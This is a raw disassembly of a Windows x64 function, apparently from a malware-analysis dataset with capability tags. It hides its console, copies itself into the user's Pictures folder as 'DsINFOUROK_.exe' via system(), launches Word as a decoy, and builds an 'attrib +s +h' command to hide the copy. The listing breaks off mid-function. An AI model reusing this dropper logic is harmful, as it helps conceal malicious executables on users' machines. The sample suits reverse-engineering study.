Function at 0x140001df0
Capabilities:
Create process on windows
Execute command
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xor r15d, r15d
mov dword [rbp + 0x78], r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0xf8], 0x80
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
nop
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll__Current_get]
test al, al
je 0x140003ad0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 8]
call fcn.140004990
mov dword [rbp + 0x78], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], r15b
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova rdx, qword [rbp - 8]
mov r8, qword [rbp + 8]
lea rcx, [rbp + 0xd8]
call fcn.140001730
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x140001f3d
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140001f80
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], 7
mov word [rbp - 8], r15w
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r15
lea rax, [rbp + 0x120]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140001fb1
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x18]
call fcn.140005160
nop
mov r8, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
sub rax, r8
lea rdx, [0x1400085c1]
lea rdi, str.C:Users_
cmp rax, 9
jb 0x140002065
lea rax, [r8 + 9]
mov qword [rbp + 0x28], rax
lea rbx, [rbp + 0x18]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x18]
cmp rdx, rbx
jbe 0x140002023
lea rax, [rbx + r8]
cmp rdi, rax
ja 0x140002023
cmp rbx, rdi
ja 0x14000201b
mov r14, r15
jmp 0x140002029
mov r14, rbx
sub r14, rdi
jmp 0x140002029
mov r14d, 9
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r14]
mov r8d, 9
sub r8, r14
lea rdx, [rdi + 9]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x18]
jmp 0x140002081
mov qword [rsp + 0x28], 9
mov qword [rsp + 0x20], rdi
mov edx, 9
lea rcx, [rbp + 0x18]
call fcn.140005dd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140002104
lea rax, [rcx + 9]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x38]
add rbx, rcx
mov r8d, 9
lea rdx, str.Pictures
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
lea rax, [rsp + 0x38]
jmp 0x140002123
mov qword [rsp + 0x20], 9
lea r9, str.Pictures
mov edx, 9
lea rcx, [rsp + 0x38]
call fcn.1400056d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
movups xmm0, xmmword [rbp + 0x78]
movq r13, xmm0
sub rax, r13
cmp rax, 5
jb 0x140003ab8
lea r12, [rbp + 0x100]
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
seta byte [rsp + 0x30]
mov rcx, qword [rbp - 0x28]
mov qword [rbp + 0x78], rcx
cmova r12, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
lea r15, [r13 + 5]
mov r14d, 0xf
lea rbx, [rsp + 0x58]
movabs rcx, 0x8000000000000000
lea eax, [r14 + 7]
cmp r15, r14
jbe 0x140002229
mov r14, r15
or r14, 0xf
cmp r14, rdx
jbe 0x1400021f0
mov r14, rdx
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140005f90
test rax, rax
je 0x1400025aa
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002224
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140002213
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003abe
jmp 0x1400021d1
test rcx, rcx
je 0x140002222
call fcn.140005f90
mov rbx, rax
jmp 0x140002224
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r14
mov eax, dword [str.copy]
mov dword [rbx], eax
movzx eax, byte [0x1400085e0]
mov byte [rbx + 4], al
lea rcx, [rbx + 5]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x10
jb 0x1400022aa
lea rax, [rcx + 0x10]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x10
lea rdx, str.DsINFOUROK_.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x10], 0
lea rax, [rsp + 0x58]
jmp 0x1400022c9
mov qword [rsp + 0x20], 0x10
lea r9, str.DsINFOUROK_.exe
mov edx, 0x10
lea rcx, [rsp + 0x58]
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor r14d, r14d
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x70]
mov rax, r8
sub rax, rdx
lea rcx, [rsp + 0x78]
cmp rax, 2
jb 0x14000233d
lea rax, [rdx + 2]
mov qword [rbp - 0x78], rax
cmp r8, 0xf
cmova rcx, qword [rsp + 0x78]
movzx eax, word [0x1400085c4]
mov word [rcx + rdx], ax
mov byte [rcx + rdx + 2], r14b
lea rax, [rsp + 0x78]
jmp 0x140002357
mov qword [rsp + 0x20], 2
lea r9, [0x1400085c4]
mov edx, 2
call fcn.1400056d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0xd8]
call fcn.140005a70
nop
mov rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf0]
mov rax, r8
sub rax, rdx
lea rcx, [rbp + 0xd8]
cmp rax, 1
jb 0x1400023da
lea rax, [rdx + 1]
mov qword [rbp + 0xe8], rax
cmp r8, 0xf
cmova rcx, qword [rbp + 0xd8]
movzx eax, word [0x1400085a0]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
lea rax, [rbp + 0xd8]
jmp 0x1400023f4
mov qword [rsp + 0x20], 1
lea r9, [0x1400085a0]
mov edx, 1
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004e60
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000247a
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002475
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002475
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x1400024ce
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140002526
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002520
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002520
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002565
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002560
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002560
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400025b6
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140002608
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002602
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002602
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002648
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002643
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140002699
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002694
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
movups xmm0, xmmword [0x1400085e8]
movups xmmword [rbp + 0xb8], xmm0
movsd xmm0, qword [0x1400085f8]
movsd qword [rbp + 0xc8], xmm0
movzx eax, word [0x140008600]
mov word [rbp + 0xd0], ax
lea rax, [rbp + 0xb8]
mov rcx, rsi
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400026d0
add rcx, 0x40
call fcn.140005fd4
mov rbx, rax
movups xmm0, xmmword [str.start_winword__]
movups xmmword [rax], xmm0
lea rcx, [rax - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400026f3
lea r8, [rbp + 0xb8]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140002710
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 1
mov rcx, rbx
call fcn.140005fcc
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r14
lea rax, [rbp + 0x120]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002760
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x38]
call fcn.140005160
nop
mov r8, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x14000280b
lea rax, [r8 + 9]
mov qword [rbp + 0x48], rax
lea rbx, [rbp + 0x38]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x38]
lea rax, [0x1400085c1]
cmp rax, rbx
jbe 0x1400027c6
lea rax, [rbx + r8]
cmp rdi, rax
ja 0x1400027c6
cmp rbx, rdi
jbe 0x1400027cc
mov r14, rbx
sub r14, rdi
jmp 0x1400027cc
mov r14d, 9
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r14]
mov r8d, 9
sub r8, r14
lea rdx, [r14 + 9]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x38]
xor r14d, r14d
jmp 0x140002827
mov qword [rsp + 0x28], 9
mov qword [rsp + 0x20], rdi
mov edx, 9
lea rcx, [rbp + 0x38]
call fcn.140005dd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x1400028a4
lea rax, [rcx + 9]
mov qword [rbp - 0x78], rax
lea rbx, [rsp + 0x78]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x78]
add rbx, rcx
mov r8d, 9
lea rdx, str.Pictures
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
lea rax, [rsp + 0x78]
jmp 0x1400028c3
mov qword [rsp + 0x20], 9
lea r9, str.Pictures
mov edx, 9
lea rcx, [rsp + 0x78]
call fcn.1400056d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r12, [rbp + 0x100]
cmp byte [rsp + 0x30], 0
cmovne r12, qword [rbp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
mov r14d, 0xf
lea rbx, [rsp + 0x58]
cmp r15, r14
jbe 0x14000299d
mov r14, r15
or r14, 0xf
movabs rax, 0x7fffffffffffffff
cmp r14, rax
jbe 0x14000295e
mov r14, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005f90
test rax, rax
je 0x140002d23
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002998
cmp r14, 0x16
mov eax, 0x16
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140002987
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ac4
jmp 0x14000293f
test rcx, rcx
je 0x140002996
call fcn.140005f90
mov rbx, rax
jmp 0x140002998
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r14
mov eax, dword [str.copy]
mov dword [rbx], eax
movzx eax, byte [0x1400085e0]
mov byte [rbx + 4], al
lea rcx, [rbx + 5]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x10
jb 0x140002a1e
lea rax, [rcx + 0x10]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x10
lea rdx, str.DsINFOUROK_.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x10], 0
lea rax, [rsp + 0x58]
jmp 0x140002a3d
mov qword [rsp + 0x20], 0x10
lea r9, str.DsINFOUROK_.exe
mov edx, 0x10
lea rcx, [rsp + 0x58]
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor r14d, r14d
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov rax, r8
sub rax, rdx
lea rcx, [rsp + 0x38]
cmp rax, 2
jb 0x140002ab7
lea rax, [rdx + 2]
mov qword [rsp + 0x48], rax
cmp r8, 0xf
cmova rcx, qword [rsp + 0x38]
movzx eax, word [0x1400085c4]
mov word [rcx + rdx], ax
mov byte [rcx + rdx + 2], r14b
lea rax, [rsp + 0x38]
jmp 0x140002ad1
mov qword [rsp + 0x20], 2
lea r9, [0x1400085c4]
mov edx, 2
call fcn.1400056d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x48]
lea rcx, [rbp - 0x68]
call fcn.140005a70
nop
mov rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x50]
mov rax, r8
sub rax, rdx
lea rcx, [rbp - 0x68]
cmp rax, 1
jb 0x140002b3f
lea rax, [rdx + 1]
mov qword [rbp - 0x58], rax
cmp r8, 0xf
cmova rcx, qword [rbp - 0x68]
movzx eax, word [0x1400085a0]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
lea rax, [rbp - 0x68]
jmp 0x140002b59
mov qword [rsp + 0x20], 1
lea r9, [0x1400085a0]
mov edx, 1
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rcx, qword [rbp + 0xd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x140002bf6
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140002c4d
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140002c9c
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002cdc
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cd7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002d2f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140002d81
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002dc0
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002dbb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140002e0f
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x70], r14
lea rax, [rbp + 0x120]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002e30
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x58]
call fcn.140005160
nop
mov r8, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
sub rax, r8
lea r12, str.attrib_s_h_C:Users_
cmp rax, 0x16
jb 0x140002ee3
lea rax, [r8 + 0x16]
mov qword [rbp + 0x68], rax
lea rbx, [rbp + 0x58]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x58]
lea rax, [0x140008636]
cmp rax, rbx
jbe 0x140002e9d
lea rax, [rbx + r8]
cmp r12, rax
ja 0x140002e9d
cmp rbx, r12
jbe 0x140002ea3
mov r14, rbx
sub r14, r12
jmp 0x140002ea3
mov r14d, 0x16
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r14]
mov r8d, 0x16
sub r8, r14
lea rdx, [r12 + 0x16]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x58]
xor r14d, r14d
jmp 0x140002efd
mov eax, 0x16
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov edx, eax
lea rcx, [rbp + 0x58]
call fcn.140005dd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 0x17
